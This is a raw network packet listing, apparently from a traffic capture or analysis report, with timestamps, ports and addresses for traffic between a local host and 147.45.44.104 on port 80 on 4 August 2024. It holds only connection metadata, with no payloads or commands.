Aug 4, 2024 02:21:38.558402061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558434010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558466911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558484077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558501005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558518887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558553934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558635950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558666945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558700085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558717012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558731079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558743954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558763981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558775902 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558795929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558811903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558831930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558837891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558859110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.558876038 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.558900118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.559124947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.559153080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.559178114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.559184074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.559194088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.559215069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.559220076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.559247017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.559257030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.559278965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.559297085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.559310913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.559323072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.559345961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.559355974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.559389114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.599617958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.599711895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.599741936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.599749088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.599783897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.599798918 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.599817991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.599850893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.599864960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.599884033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.599919081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.599957943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.600008965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.643560886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.643640995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.643676043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.643695116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.643707037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.643776894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.643780947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.643810034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.643842936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.643887997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.643896103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.643917084 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.643929005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.643959999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.643959999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.643987894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.643995047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644015074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644026041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644035101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644062042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644073963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644094944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644109011 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644128084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644140005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644164085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644181013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644196033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644211054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644228935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644253016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644262075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644278049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644309998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644313097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644361973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644364119 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644396067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644404888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644428015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644443989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644459963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644475937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644509077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644515038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644548893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644570112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644582987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644593000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644615889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644634008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644648075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644680977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644694090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644728899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644783020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644814968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644833088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644846916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644859076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644880056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644893885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644912004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644922972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644943953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644961119 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.644979954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.644989967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645011902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645028114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645044088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645056963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645075083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645091057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645107985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645123005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645139933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645153046 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645173073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645188093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645206928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645220041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645241976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645252943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645288944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645344019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645376921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645391941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645407915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645423889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645441055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645457983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645483971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645486116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645540953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645550966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645586967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645600080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645620108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645636082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645652056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645668030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645684004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645704031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645716906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645729065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645754099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645767927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645787001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645802975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645823002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645836115 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645854950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645873070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645888090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645905018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645920992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.645936966 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645967960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.645972013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646004915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646019936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646035910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646049023 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646070004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646085024 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646100044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646117926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646132946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646147013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646167040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646183014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646199942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646213055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646230936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646245956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646265030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646277905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646298885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646311998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646332026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646347046 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646364927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646379948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646399975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646413088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646471024 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646625996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646682978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646687984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646716118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646727085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646749020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646768093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646781921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646797895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646814108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646835089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646847010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646878004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646907091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646908998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646939039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646940947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646966934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.646972895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.646986008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647006035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647037029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647043943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647068024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647075891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647103071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647116899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647136927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647164106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647169113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647180080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647202015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647237062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647250891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647269011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647283077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647300959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647310972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647332907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647346020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647365093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647375107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647398949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647408962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647444010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647514105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647547007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647558928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647578955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647593975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647610903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647631884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647643089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647655010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647675991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647690058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647706032 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647717953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647739887 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647748947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647773027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647784948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647805929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647819042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647838116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647849083 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647870064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.647881985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.647913933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.692447901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.692497969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.692532063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.692552090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.692584038 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.692887068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.692919970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.692940950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.692969084 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.692971945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.693002939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.693020105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.693033934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.693047047 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.693078041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732142925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732198000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732199907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732234001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732243061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732268095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732300043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732352972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732373953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732424021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732443094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732458115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732485056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732506990 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732506990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732538939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732547045 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732579947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732633114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732680082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732682943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732714891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732749939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732768059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732801914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732876062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732908964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732928038 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732940912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732959986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.732973099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.732985020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733051062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733068943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733082056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733093977 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733115911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733127117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733148098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733160019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733181000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733192921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733215094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733226061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733262062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733436108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733468056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733491898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733499050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733513117 CEST	49757	80	192.168.2.4	147.45.44.104
